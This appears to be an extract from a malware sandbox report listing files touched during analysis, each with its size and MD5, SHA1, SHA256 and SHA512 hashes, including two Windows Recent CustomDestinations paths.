SHA256336960af393e8cc09a53314297a19462036e0e9f2ac7e38808e696c6cec03661
SHA5126651ea8e51c661835045a69885b739b5c007b567373c5dc4c3999d554affce0e075edd4ca7766e50cb13968f1c90449657ed636bf19d903e7060f6badf114ad5
-
Filesize
2KB
MD5627073ee3ca9676911bee35548eff2b8
SHA14c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA25685b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA5123c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
-
Filesize
1KB
MD514f58e0e62f56d86f54876274dca9e06
SHA14b0e0cae1777e94342dbf9e8b5ca2021f670e087
SHA25698e74b76f7ee1e6ae61b02dd58af3bc7fd0e843e656876bfa388124a17239988
SHA51213200c1ad262c680b8497b7c25284c9061cc01366456d5f85f7a06d33af5da900cc092c5bf23909d3f99c97454720ae42af429814c28682237120bdb77f39a2e
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
372KB
MD552a626d0c80a0e041f89db33dc8dd4fa
SHA11fc0fc601237094419145cac19dd030dc647f91a
SHA2569e7c53d85a2bf4e048e499e0dc6bad575646d250c154f2aed6a042f65b8de51f
SHA5129dc64b8be1f434cbbee07dd5893b2a883c33f1f13941fd57c623948e1b89e8b23f93496105d63e5c5c81980f4930c5ddb54ee846d156c2c2a69ce964cd49e2ef
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize6KB
MD542722c1a5adb7ba2d3c97479b88df748
SHA19405417b1869cff56c01482747db028342490ea9
SHA256f071b7a2871b1d07bc8cf52dfcab1aec55bc6ee0f5ba035a62d573a478bec4c0
SHA51201cff094b0449c1f5e6a983a9f38a3242b3f1d680e2d874b7502f5eb928d6e33ff28d630d44f4eba825da0e0848b524456cd534020174405a997b04477e3d9e6
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize6KB
MD50f7f68ee314ed3b781a42984149e9ac3
SHA1eb20756812ecb3f2414ceb03d688fa814f58dff5
SHA256cbd94bd790669bfe4fd93a87b1a1782a63c65db695557da7b9d632849190fcfc
SHA5120c923b68ec520b7a5afa59105f2f7fd3b3e35210705c5bb9acd452cc42a4c49a5aba0db2efdce94f5fab30d354825c160265a280cf5a92da30a1f77c4eef6ab8
-
Filesize
70B
MD58a21307a442e291f2298086eca4e21cc
SHA18fcc503c06184f96dd75e51a6842fd56eb04a467
SHA256c48c77a49e776b49c149fe608ade75255534100850e094b02072819b0e924e91
SHA512096a773853e2e4739dcd485323f4af100dd849a165b6110f630386e79e7fea80aa4853e097a59b08a5bda81ec133966c051b68bf5e6ec3f54b29b2396fd30b06